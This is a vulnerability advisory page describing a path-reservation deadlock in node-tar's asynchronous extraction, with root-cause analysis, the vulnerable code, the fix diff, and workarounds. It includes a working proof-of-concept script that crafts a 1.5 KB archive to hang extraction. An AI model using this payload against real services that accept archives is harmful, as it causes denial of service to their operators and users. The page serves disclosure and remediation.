CVEReports
CVEReports

Automated vulnerability intelligence platform. Comprehensive reports for high-severity CVEs generated by AI.

Product

  • Home
  • Sitemap
  • RSS Feed

Company

  • About
  • Contact
  • Privacy Policy
  • Terms of Service

© 2026 CVEReports. All rights reserved.

Made with love by Amit Schendel & Alon Barad



CVE-2026-140251

CVE-2026-140251: Asynchronous Extraction Path-Reservation Deadlock in node-tar

Alon Barad
Alon Barad
Software Engineer

Dec 2, 2026·11 min read·5 visits

Executive Summary (TL;DR)

An algorithmic deadlock in node-tar (versions 7.5.22 to < 8.0.0) allows an unauthenticated attacker to permanently stall asynchronous tarball extraction on POSIX systems via a crafted 1.5 KB archive containing a link pointing to its own ancestor or descendant directory.

A path-reservation deadlock vulnerability exists in node-tar versions 7.5.22 through 7.5.24 on POSIX platforms. When an archive contains a hardlink or symbolic link entry whose linkpath is an ancestor or descendant of its own path, the internal PathReservations scheduling queue enters an unsatisfiable state. This causes asynchronous extraction operations to stall indefinitely without resolving or rejecting the extraction Promise, resulting in a persistent denial of service.

Vulnerability Overview

node-tar (published on npm as tar) is a widely deployed archive manipulation library for Node.js, used by package managers, build pipelines, and web applications to create and extract tarballs. In versions 7.5.22 through 7.5.24, the asynchronous archive extraction engine (Unpack in src/unpack.ts) uses an internal concurrency coordinator named PathReservations (src/path-reservations.ts) to serialize filesystem operations across overlapping paths.

CVE-2026-140251 (tracked also as GHSA-98v3-7xjr-fg83) is an algorithmic deadlock and improper locking vulnerability (CWE-833, CWE-667) within PathReservations. The flaw is triggered when node-tar processes an archive entry on a POSIX system where the entry's linkpath (the target of a hardlink or symbolic link) is a hierarchical ancestor or descendant of the entry's own path.

When this collision occurs, the path reservation mechanism registers the overlapping directory path as both an exclusive direct path lock and a shared ancestor directory lock within the same internal queue. Because the queue head verification logic expects incompatible data types for these two lock categories, the readiness check permanently evaluates to false.

As a result, the extraction callback for the colliding entry never executes, and the reservation queue is never cleared. The Promise returned by tar.x() or tar.extract() remains permanently pending, the extraction stream never emits end, finish, or close events, and all subsequent entries in the archive are silently skipped.

Root Cause Analysis

During asynchronous extraction on POSIX systems, Unpack invokes PathReservations.reserve(paths, fn) to prevent concurrent filesystem operations from racing on related paths. For any link entry, paths contains both the entry's destination path and its linkpath. The reserve method categorizes locks into two distinct sets: direct target paths (which require exclusive execution) and ancestor dirs (which permit shared execution among sibling entries).

For each string p in paths, reserve() inserts the callback function reference fn directly into the queue mapped to p in this.#queues (q.push(fn)). Next, reserve() computes all parent directories for every path in paths using getDirs(path) and stores the combined result in a Set named dirs. For each string dir in dirs, if the tail of this.#queues.get(dir) is a Set, fn is added to it; otherwise, a new Set([fn]) is appended to that queue.

The defect arises when a single path string appears in both paths and dirs. For example, if an entry defines path = "a/b" and linkpath = "a", then paths is ["a/b", "a"]. When getDirs("a/b") executes, it returns ["/", "a"] (after path normalization). Consequently, the key "a" is a member of both paths and dirs for the same handler fn.

When reserve() populates this.#queues, the first loop iterates over paths and sets the queue for "a" to [fn]. Immediately thereafter, the second loop iterates over dirs, inspects the queue for "a", sees that the last element (fn) is not an instance of Set, and appends new Set([fn]). The queue for key "a" now holds [fn, Set([fn])], with both elements belonging to the same operation fn.

To determine whether fn can execute, PathReservations calls check(fn), which enforces two simultaneous invariants:

  1. For every queue q in paths, q[0] === fn must be true.
  2. For every queue q in dirs, q[0] instanceof Set && q[0].has(fn) must be true.

When check(fn) inspects the queue for "a" during the dirs check, q[0] is the function reference fn placed there by the paths loop, not the Set placed at q[1]. The expression q[0] instanceof Set evaluates to false. Because fn cannot start until check(fn) returns true, and q[0] cannot be shifted off the queue until fn finishes, the reservation system enters an unrecoverable self-deadlock.

Code Analysis

In vulnerable versions of node-tar (7.5.22 through 7.5.24), src/path-reservations.ts constructs paths and dirs without deduplicating overlapping keys between the two collections. Below is the vulnerable implementation of reserve() and check():

// Vulnerable code in src/path-reservations.ts (v7.5.22 - v7.5.24)
check(fn: Handler) {
  const { paths, dirs } = this.#getQueues(fn)
  return (
    paths.every(q => q && q[0] === fn) &&
    dirs.every(q => q && q[0] instanceof Set && q[0].has(fn))
  )
}
 
reserve(paths: string[], fn: Handler) {
  paths =
    isWindows ?
      ['win32 parallelization disabled']
    : paths.map(p => {
        return stripTrailingSlashes(join(normalizeUnicode(p)))
      })
 
  const dirs = new Set<string>(
    paths.map(path => getDirs(path)).reduce((a, b) => a.concat(b)),
  )
  // BUG: If a path in `paths` is also a parent directory in `dirs`,
  // both collections contain the identical path key.
  this.#reservations.set(fn, { dirs, paths })
 
  for (const p of paths) {
    const q = this.#queues.get(p)
    if (!q) {
      this.#queues.set(p, [fn])
    } else {
      q.push(fn)
    }
  }
 
  for (const dir of dirs) {
    const q = this.#queues.get(dir)
    if (!q) {
      this.#queues.set(dir, [new Set([fn])])
    } else {
      const l = q.at(-1)
      if (l instanceof Set) {
        l.add(fn)
      } else {
        // Appends Set([fn]) behind `fn` in the same queue
        q.push(new Set([fn]))
      }
    }
  }
 
  return this.#run(fn)
}

Commit 73b352e0010d6c99794ea7374800816a46d3bdb2 resolves the deadlock in src/path-reservations.ts by enforcing two structural invariants during reservation setup. First, paths is deduplicated via new Set(...) so that an entry referencing the exact same path twice cannot push [fn, fn] onto a single queue. Second, any path present in paths is explicitly deleted from dirs before queue insertion:

--- a/src/path-reservations.ts
+++ b/src/path-reservations.ts
@@ -53,14 +53,23 @@ export class PathReservations {
     paths =
       isWindows ?
         ['win32 parallelization disabled']
-      : paths.map(p => {
-          // don't need normPath, because we skip this entirely for windows
-          return stripTrailingSlashes(join(normalizeUnicode(p)))
-        })
+      : [
+          ...new Set(
+            paths.map(p => {
+              // don't need normPath, because we skip this entirely for windows
+              return stripTrailingSlashes(join(normalizeUnicode(p)))
+            }),
+          ),
+        ]
 
     const dirs = new Set<string>(
       paths.map(path => getDirs(path)).reduce((a, b) => a.concat(b)),
     )
+    // A direct reservation on a path is exclusive, so it also covers
+    // the use of that path as a parent directory of another path.
+    for (const p of paths) {
+      dirs.delete(p)
+    }
     this.#reservations.set(fn, { dirs, paths })
     for (const p of paths) {
       const q = this.#queues.get(p)
@@ -182,6 +191,7 @@ export class PathReservations {
     }
 
     this.#running.delete(fn)
+    this.#reservations.delete(fn)
     next.forEach(fn => this.#run(fn))
     return true
   }

> [!NOTE] > Deleting direct paths from dirs is sound because a direct reservation on p places an exclusive function reference fn into the queue for p, which already prevents any concurrent operation from claiming p as either a file or a parent directory until fn completes.

In addition to the targeted fix in 73b352e0010d6c99794ea7374800816a46d3bdb2, node-tar version 8.0.0 introduced a broader architectural redesign (commit 634eea74d893808fcf297272d6bbdaeedd69d3f4) that replaced legacy minipass streams with native Web Streams and refactored PathReservations and Unpack into promise-driven job queues. The fix is complete against both identical path collisions (path === linkpath, handled by new Set on paths) and hierarchical path collisions (linkpath as an ancestor or descendant of path, handled by dirs.delete(p)).

Exploitation

Exploiting CVE-2026-140251 requires an attacker to supply a crafted tar archive to an application that performs asynchronous extraction on a POSIX operating system (tar.x(), tar.extract(), or new tar.Unpack()). No authentication, special privileges, or specific extraction flags are needed; the default configuration of tar.x() is vulnerable. A minimal payload requires only three 512-byte blocks (one header block and two end-of-archive null blocks, totaling 1,536 bytes).

The path collision condition (linkpath being an ancestor or descendant of path) can be delivered through three distinct tar format constructs:

  1. Standard Link or SymbolicLink Header: A ustar or v7 header block with type '1' (Link) or '2' (SymbolicLink), path: 'a/b', and linkpath: 'a' (or conversely path: 'a' and linkpath: 'a/b').
  2. PAX Extended Header Override on a Regular File: A PAX extended header defining linkpath=a preceding a standard regular file (type: '0') at path: 'a/b'. Because header validation for regular file linkpath fields occurred on the raw ustar block prior to merging PAX extended attributes, the injected linkpath is preserved into Unpack.
  3. GNU Long-Linkname (K / NextFileHasLongLinkpath): A GNU extension header of type 'K' specifying an ancestor directory as the long link target for the subsequent entry.

The following proof-of-concept script constructs a 1.5 KB tar archive in memory and demonstrates the permanent hang in tar@7.5.22 through tar@7.5.24:

const { Header, x } = require('tar')
const fs = require('fs')
const path = require('path')
 
const dir = '/tmp/cve-2026-140251-poc'
fs.rmSync(dir, { recursive: true, force: true })
fs.mkdirSync(dir, { recursive: true })
 
// Create a 512-byte tar header where 'a/b' links to its parent 'a'
const headerBlock = Buffer.alloc(512)
new Header({
  path: 'a/b',
  type: 'Link',
  linkpath: 'a',
  size: 0,
  mode: 0o644
}).encode(headerBlock, 0)
 
const eoaBlock = Buffer.alloc(1024)
const poisonTar = Buffer.concat([headerBlock, eoaBlock])
const tarPath = path.join(dir, 'poison.tar')
fs.writeFileSync(tarPath, poisonTar)
 
let settled = 'NEVER'
x({ cwd: dir, file: tarPath })
  .then(() => { settled = 'RESOLVED' })
  .catch((err) => { settled = `REJECTED: ${err.message}` })
 
const keepalive = setInterval(() => {}, 500)
setTimeout(() => {
  clearInterval(keepalive)
  console.log(`Promise status after 4000ms: ${settled}`)
  process.exit(0)
}, 4000)

When executed on a POSIX host with a vulnerable node-tar version, [CHECKFS2] never fires, the internal [PENDING] counter never decrements to zero, and [MAYBECLOSE] never closes the stream. Consequently, settled remains 'NEVER', confirming that the returned Promise never resolves or rejects.

Impact Assessment

CVE-2026-140251 carries a CVSS v4.0 base score of 7.1 (High) with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N. The vulnerability affects system availability (VA:H) without impacting confidentiality (VC:N) or integrity (VI:N). The EPSS score is 0.00587 (49.43rd percentile), and the vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog.

In long-running Node.js server processes, microservices, or background workers that process user-supplied .tar or .tgz archives, each malicious archive permanently leaks the in-flight extraction state and holds open any awaiting async execution context, HTTP connection, or worker slot. Repeated submissions can exhaust worker pools, concurrency semaphores, or memory resources, causing an application-wide denial of service.

In CLI tooling, CI/CD runners, or build automation scripts where the Node.js event loop has no other active timers or I/O handles once the disk read finishes, the stalled Promise causes the Node.js runtime to exit prematurely with an unsettled top-level dependency chain. In this scenario, all archive entries following the malicious entry are silently skipped without throwing an error or emitting a warning.

> [!NOTE] > Two operational modes are unaffected by this vulnerability: > - Windows (win32) platforms: PathReservations replaces all path lists on Windows with a single constant string (['win32 parallelization disabled']), which has no parent directories in getDirs() and therefore cannot trigger a paths/dirs collision. > - Synchronous extraction: Calling tar.x({ sync: true }), tar.extractSync(), or new tar.UnpackSync() executes filesystem operations synchronously on the main thread without invoking PathReservations.

Remediation

To remediate CVE-2026-140251, upgrade node-tar (tar in package.json) to version 8.0.0 or later. Version 8.0.0 incorporates commit 73b352e0010d6c99794ea7374800816a46d3bdb2, which deduplicates direct paths and strips them from the ancestor directory lock set, as well as the rewritten reservation engine.

Note that tar@8.0.0 is a major semver release that transitions the library from legacy minipass streams to standard Web Streams (ReadableStream, TransformStream) and updates minimum Node.js engine requirements. Development teams should verify stream consumer compatibility when upgrading from the 7.5.x branch.

For environments that cannot immediately migrate to version 8.0.0, three workarounds can prevent or contain the deadlock:

  1. Use Synchronous Extraction: Pass { sync: true } to tar.x() / tar.extract(), or use new tar.UnpackSync(). Synchronous extraction bypasses PathReservations entirely.
  2. Filter Link Entries Prior to Reservation: Provide a filter callback to tar.x({ filter: (path, entry) => ... }) that inspects entry.type and rejects (return false) any Link or SymbolicLink entry whose normalized linkpath shares a prefix with its normalized path (or reject link entries altogether if untrusted archives should only contain regular files and directories).
  3. Enforce Extraction Timeouts: Wrap asynchronous extraction Promises in a bounded timeout using Promise.race() or child process isolation so that stalled unpack operations are terminated and cleaned up rather than hanging indefinitely.

Official Patches

GitHub / isaacsGitHub Security Advisory GHSA-98v3-7xjr-fg83
GitHub / isaacsFix Commit in src/path-reservations.ts
GitHub / isaacsnode-tar v8.0.0 Release Notes

Fix Analysis (1)

Technical Appendix

CVSS Score
7.1/ 10
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Probability
0.59%
Top 51% most exploited

Affected Systems

node-tar (npm package: tar) on POSIX systems (Linux, macOS, BSD)

Affected Versions Detail

Product
Affected Versions
Fixed Version
tar (node-tar)
isaacs
>= 7.5.22, < 8.0.08.0.0
AttributeDetail
Vulnerability TypePath-Reservation Deadlock (CWE-833 / CWE-667)
Affected Packagetar (node-tar) >= 7.5.22, < 8.0.0
Patched Version8.0.0
Attack VectorNetwork / Crafted Tar Archive (1.5 KB)
CVSS v4.0 Score7.1 High (CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N)
EPSS Score0.59% (49.43rd Percentile)
Primary ImpactPermanent Asynchronous Extraction Hang (Denial of Service)
CISA KEV StatusNot Listed

MITRE ATT&CK Mapping

T1499.004Endpoint Denial of Service: Application or System Exploitation
Impact
CWE-833
Deadlock

The product contains multiple threads or executable segments that are waiting for each other to release a necessary lock, resulting in a deadlock.

Known Exploits & Detection

GitHub Security AdvisoryOfficial advisory containing root cause analysis and functional PoC reproduction script demonstrating the asynchronous extraction deadlock.

Vulnerability Timeline

Initial development benchmarks and test harness conversions committed to the isaacs/node-tar repository.
2026-11-26
Maintainer commits fix 73b352e0010d6c99794ea7374800816a46d3bdb2 in src/path-reservations.ts and prepares v8.0.0 architectural redesign.
2026-11-27
node-tar v8.0.0 released; GitHub Security Advisory GHSA-98v3-7xjr-fg83 and NVD record for CVE-2026-140251 published.
2026-12-01
FIRST.org computes initial EPSS score (0.00587, 49.43rd percentile).
2026-12-02

References & Sources

  • [1]GitHub Security Advisory GHSA-98v3-7xjr-fg83
  • [2]GitHub Fix Commit 73b352e0010d6c99794ea7374800816a46d3bdb2
  • [3]GitHub Release node-tar v8.0.0
  • [4]Official CVE.org Record for CVE-2026-140251
  • [5]National Vulnerability Database (NVD) Record for CVE-2026-140251
  • [6]Open Source Vulnerabilities (OSV) Record for GHSA-98v3-7xjr-fg83
  • [7]CVEListV5 Authoritative CNA Record

Attack Flow Diagram

Press enter or space to select a node. You can then use the arrow keys to move the node around. Press delete to remove it and escape to cancel.
Press enter or space to select an edge. You can then press delete to remove it or escape to cancel.

More Reports

•33 minutes ago•CVE-2026-142551
8.1

CVE-2026-142551: Cross-Client Authentication Bypass via Missing Audience Validation in Vapor JWTKit

Vapor JWTKit versions 4.0.0 prior to 5.8.0 fail to validate the audience (aud) claim in built-in vendor identity token payload types for Apple, Google, and Microsoft. This improper authentication flaw allows an attacker to obtain a legitimately signed ID token for a third-party client application and replay it against a relying party application using JWTKit, resulting in cross-client authentication bypass and account takeover.

Amit Schendel
Amit Schendel
1 views•11 min read
•about 2 hours ago•GHSA-QMJC-65WP-7V34
8.7

GHSA-QMJC-65WP-7V34: Software Supply-Chain Compromise and Remote Code Execution in PyPI Package magique

GHSA-QMJC-65WP-7V34 documents a software supply-chain compromise targeting the Python Package Index (PyPI) package magique. Threat actors utilized stolen maintainer credentials to publish unauthorized phantom releases (versions 0.6.8 and 0.6.9) directly to PyPI on June 8, 2026. These distributions contain a malicious .pth path configuration file that automatically triggers an embedded JavaScript payload via the Bun runtime upon Python interpreter startup, resulting in credential theft, process memory scraping, and worm-like self-propagation.

Alon Barad
Alon Barad
5 views•10 min read
•about 2 hours ago•CVE-2026-140231
7.1

CVE-2026-140231: Denial of Service via Unbounded Buffering and Zero-Size Entry Queuing in node-tar

CVE-2026-140231 is a memory exhaustion vulnerability in the node-tar package for Node.js prior to version 8.0.0. Because archive decompression lacks backpressure enforcement and zero-size archive entries queue in memory without upper bounds, an attacker who supplies a crafted compressed archive can force the host application to exhaust available resident memory and terminate via an Out-of-Memory (OOM) condition, bypassing existing decompression ratio checks.

Amit Schendel
Amit Schendel
6 views•11 min read
•about 3 hours ago•CVE-2026-140230
7.5

CVE-2026-140230: Quadratic Memory Amplification Denial of Service in node-tar PathReservations

CVE-2026-140230 (GHSA-xm6h-2993-3ch9) is an uncontrolled resource consumption vulnerability in the node-tar npm package (tar) prior to version 8.0.0. The flaw stems from asymmetric path depth validation during archive extraction: while entry.path is validated against a maximum segment depth (maxDepth = 1024), entry.linkpath is omitted from this check. When extracting a symbolic or hard link entry with a deeply nested linkpath defined via a GNU LongLink ('K') extended header, the PathReservations subsystem decomposes the path into every parent directory prefix, triggering quadratic O(N^2) string materialization in the V8 heap. A compressed archive as small as 181 bytes forces the Node.js runtime into an uncatchable fatal Out-Of-Memory (OOM) abort.

Alon Barad
Alon Barad
5 views•11 min read
•about 5 hours ago•CVE-2026-141468
6.1

CVE-2026-141468: Client-Side Script Gadget and Form Hijacking in Bootstrap 6 Toggler Plugin

CVE-2026-141468 is a client-side script gadget vulnerability in the Bootstrap 6 pre-release Toggler plugin (versions >= 6.0.0-alpha.1, < 6.0.0-alpha.2). The plugin accepts untrusted attribute names via data-bs-attribute and values via data-bs-value, which standard HTML sanitizers such as DOMPurify preserve by default. Upon user click interaction, the Toggler._execute() method dynamically assigns these attributes using setAttribute() while only blocklisting the id attribute, allowing attackers to inject executable inline event handlers (CWE-79, CWE-83) or hijack form submission targets via the formaction attribute.

Alon Barad
Alon Barad
5 views•11 min read
•about 6 hours ago•CVE-2026-140250
7.2

CVE-2026-140250: Symlink Containment Bypass and Path Traversal in node-tar

CVE-2026-140250 (GHSA-3wwj-8j6r-q339) is a high-severity symbolic link containment bypass and path traversal vulnerability in node-tar (npm package 'tar'), affecting versions 7.5.5 through 7.5.24. When extracting archives using default options, the Unpack class validates symbolic link targets using purely lexical path normalization. An attacker can supply a crafted archive containing chained symbolic links combined with directory traversal segments ('..') to create symbolic links that resolve outside the designated extraction directory. If the host application subsequently follows the created link, it can lead to arbitrary file disclosure or modification within the application's privilege context.

Amit Schendel
Amit Schendel
6 views•12 min read